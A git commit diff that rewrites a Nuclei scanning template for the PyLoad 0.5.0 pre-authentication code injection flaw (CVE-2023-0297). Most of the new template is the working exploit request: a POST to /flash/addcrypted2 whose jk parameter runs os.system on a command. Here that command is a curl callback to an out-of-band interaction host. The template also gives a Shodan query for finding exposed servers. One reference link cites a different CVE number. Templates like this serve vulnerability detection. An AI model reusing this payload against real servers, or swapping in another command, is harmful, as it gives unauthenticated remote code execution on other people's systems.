re-wrote template
parent
276497b314
commit
def35f6b48
|
@ -1,21 +1,50 @@
|
|||
id: python-code-injection
|
||||
info:
|
||||
name: Python Code Injection
|
||||
author: MrHarshvardhan
|
||||
severity: medium
|
||||
id: CVE-2023-0297
|
||||
|
||||
info:
|
||||
name: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
|
||||
author: MrHarshvardhan,DhiyaneshDk
|
||||
severity: critical
|
||||
description: |
|
||||
Template to detect Python code injection vulnerabilities.
|
||||
reference: xxx
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- /flash/addcrypted2
|
||||
attacks:
|
||||
- raw:
|
||||
headers:
|
||||
Content-type: application/x-www-form-urlencoded
|
||||
body: jk=pyimport%20os;os.system("{{cmd}}");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
|
||||
predicates:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
|
||||
reference:
|
||||
- https://www.exploit-db.com/exploits/51532
|
||||
- https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-1058
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-0297
|
||||
cwe-id: CWE-94
|
||||
cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 2
|
||||
shodan-query: html:"pyload"
|
||||
tags: huntr,cve,cve2023,rce,pyload,oast
|
||||
|
||||
variables:
|
||||
cmd: "curl {{interactsh-url}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /flash/addcrypted2 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /flash/addcrypted2 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
jk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body_1
|
||||
words:
|
||||
- 'JDownloader'
|
||||
|
||||
- type: word
|
||||
part: interactsh_protocol
|
||||
words:
|
||||
- "dns"
|
||||
|
|
Loading…
Reference in New Issue